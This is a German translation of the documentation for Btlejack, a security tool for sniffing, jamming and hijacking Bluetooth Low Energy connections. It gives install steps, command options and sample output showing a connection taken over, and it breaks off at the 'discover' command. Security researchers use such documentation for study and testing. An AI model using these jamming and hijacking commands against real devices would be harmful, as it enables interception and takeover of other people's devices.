
Bluetooth Low Energy Schweizer Taschenmesser
BtleJack: ein neues Schweizer Taschenmesser für Bluetooth Low Energy #####################################################
Btlejack bietet alles, was Sie zum Sniffen, Stören und Hijacken von Bluetooth Low Energy-Geräten benötigen. Es basiert auf einem oder mehreren BBC Micro:Bit <http://microbit.org/>-Geräten, die eine dedizierte Firmware ausführen. Sie können auch einen Adafruit Bluefruit LE Sniffer <https://www.adafruit.com/product/2269> oder ein nRF51822 Eval Kit <https://www.waveshare.com/wiki/BLE400>_ verwenden, da wir die Unterstützung für diese Geräte hinzugefügt haben.
Die aktuelle Version dieses Tools (2.0) unterstützt BLE 4.x und 5.x. Die Unterstützung für BLE 5.x ist eingeschränkt, da sie nur das 1-Mbps-unkodierte PHY unterstützt und keine Kanalzuordnungsaktualisierungen (Channel Map Updates) ermöglicht.
Sie benötigen ein UNIX-basiertes System (z. B. einen Raspberry Pi). Wenn Sie das BBC Micro:Bit verwenden, benötigen Sie ein bis drei Micro:Bit-Geräte (drei Geräte empfohlen) und für jedes Gerät einen freien USB-Anschluss. Der Stromverbrauch eines Micro:Bit ist relativ niedrig, sodass Sie einen einzelnen USB-Anschluss und einen passiven Hub verwenden können, um die drei empfohlenen Einheiten mit Strom zu versorgen.
Wenn Sie 3 Microbits gleichzeitig an Ihrem Computer anschließen, kann Btlejack auf allen Werbekanälen snifen und hat weitaus bessere Chancen, die Verbindungsanfrage zu erfassen.
Installieren Sie zunächst die btlejack-Python3-Client-Software mit Pip:
::
$ sudo pip3 install btlejack
Schließen Sie dann Ihr Micro:Bit-Gerät über ein USB-Kabel an Ihren Computer an, mounten Sie den zugehörigen Massenspeicher (der Mount-Punkt muss MICROBIT enthalten) und führen Sie den folgenden Befehl aus:
::
$ btlejack -i
Dies wird jedes an Ihren Computer angeschlossene Micro:Bit-Gerät programmieren und für die Verwendung mit Btlejack vorbereiten. Es verwendet die korrekte Firmware-Version für die aktuelle Client-Software. Daher wird dringend empfohlen, diese Firmware-Installationsprozedur jedes Mal durchzuführen, wenn Sie Btlejack aktualisieren.
Wenn Sie einen Bluefruit LE Sniffer oder ein nRF51822 Eval Kit verwenden, verwenden Sie bitte einen externen SWD-Programmierer, um Ihr Gerät mit dieser Firmware <https://github.com/virtualabs/btlejack-firmware/raw/master/dist/btlejack-firmware-ble400.hex>_ zu flashen.
Lassen Sie Ihre Geräte angeschlossen und alles ist bereit!
HINWEIS Dies funktioniert nur mit POSIX-kompatiblen Systemen.
Die Verwendung von Btlejack ist recht einfach. Btlejack kann:
Btlejack versucht normalerweise, angeschlossene kompatible Geräte automatisch zu erkennen und zu verwenden (derzeit nur Micro:Bit). Da die Firmware jedoch gehackt oder modifiziert werden kann, um mit anderen nRF51822-basierten Boards zu funktionieren, bietet Btlejack eine spezifische Option, um die Kompatibilität mit diesen Geräten zu ermöglichen.
Mit der Option -d können Sie ein oder mehrere Geräte mit Btlejack angeben. Beachten Sie, dass diese Option die automatische Geräteerkennung deaktiviert. Sie sollten so viele Geräte hinzufügen, wie Sie benötigen:
::
$ btlejack -d /dev/ttyACM0 -d /dev/ttyACM2 -s
Suchen Sie zunächst eine zu targetierende bestehende Verbindung mit btlejack:
::
$ btlejack -s BtleJack version 1.1
[i] Existing connections werden aufgezählt ... [ - 54 dBm] 0xcd91d517 | pkts: 1 [ - 46 dBm] 0xcd91d517 | pkts: 2
Der erste Wert (in dBm) zeigt die Signalstärke an – je höher dieser Wert, desto besser ist die gesniffte Verbindung.
Der zweite Wert (hex) ist die zugehörige Access Address, ein 32-Bit-Wert, der eine Verbindung zwischen zwei Bluetooth Low Energy-kompatiblen Geräten identifiziert.
Der letzte Wert ist die Anzahl der mit dieser Access Address gesehenen Pakete. Je höher dieser Wert, desto wahrscheinlicher wird die entsprechende Access Address verwendet.
Verwenden Sie dann die Option -f, um eine bestimmte Verbindung zu verfolgen:
::
$ btlejack -f 0xdda4845e BtleJack version 1.1
[i] Sniffer erkannt:
Sniffer #0: fw version 1.1
[i] Synchronisation mit Verbindung 0xdda4845e ... ✓ CRCInit: 0x2a035e ✓ Channel Map = 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 15 [i] Synchronisiert, Paketerfassung läuft ... LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70 LL Data: 02 07 03 00 04 00 0a 03 00 LL Data: 0a 08 04 00 04 00 0b 5a 69 70
Wenn Sie mehr als 1 Microbit verwenden, parallelisiert Btlejack einige der Sniffing-Operationen, um die Wiederherstellung der Verbindungsparameter zu beschleunigen!
Die von btlejack unterstützte Option -c ermöglicht es Ihnen, die Ziel-BD-Adresse anzugeben. Sie können auch any verwenden, um jede neu erstellte Verbindung zu erfassen.
::
$ btlejack -c any BtleJack version 1.1
[i] Sniffer erkannt:
Sniffer #0: version 1.1 Sniffer #1: version 1.1 LL Data: 05 22 df b4 6f 95 c5 55 c0 0a f6 99 23 40 1d 7b 2f 0a 9a f4 93 01 12 00 27 00 00 00 d0 07 ff ff ff ff 1f 0b [i] CONNECT_REQ-Paket von 55:c5:95:6f:b4:df an 40:23:99:f6:0a:c0 erhalten |-- Access Address: 0x0a2f7b1d |-- CRC Init value: 0x93f49a |-- Hop interval: 39 |-- Hop increment: 11 |-- Channel Map: 1fffffffff |-- Timeout: 20000 ms
LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 03 09 08 0f 00 00 00 00 00 00 00 LL Data: 0b 06 0c 08 0f 00 09 41 LL Data: 03 06 0c 07 1d 00 d3 07
Oder Sie möchten vielleicht die Ziel-BD-Adresse angeben:
::
$ btlejack -c 03:e1:f0:00:11:22
Sobald eine durch ihre Access Address identifizierte Verbindung bekannt ist, können Sie sie mit der Option -j stören:
::
$ btlejack -f 0x129f3244 -j̀
Btlejack kann auch eine bestehende Verbindung übernehmen (hijacken). Verwenden Sie dazu die Option -t. Sobald die Verbindung übernommen wurde, erhalten Sie eine Eingabeaufforderung, mit der Sie mit dem übernommenen Gerät interagieren können.
Übernehmen Sie zunächst eine bestehende Verbindung:
::
$ btlejack -f 0x9c68fd30 -t -m 0x1fffffffff BtleJack version 1.1
[i] Verwendung gecachter Parameter (erstellt am 2018-08-11 01:48:24) [i] Sniffer erkannt:
Sniffer #0: fw version 1.1
[i] Synchronisation mit Verbindung 0x9c68fd30 ... ✓ CRCInit: 0x81f733 ✓ Channel Map wird bereitgestellt: 0x1fffffffff ✓ Hop interval = 39 ✓ Hop increment = 9 [i] Synchronisiert, Übernahme läuft ... [i] Verbindung erfolgreich übernommen, sie gehört jetzt dir \o/ btlejack>
Verwenden Sie dann die folgenden Befehle, um mit dem Gerät zu interagieren:
discover-Befehl ^^^^^^^^^^^^^^^^^^
Der Befehl discover sendet und empfängt Bluetooth LE-Pakete und ruft alle Dienst-UUIDs und -Parameter sowie Charakteristiken-UUIDs und -Parameter ab:
::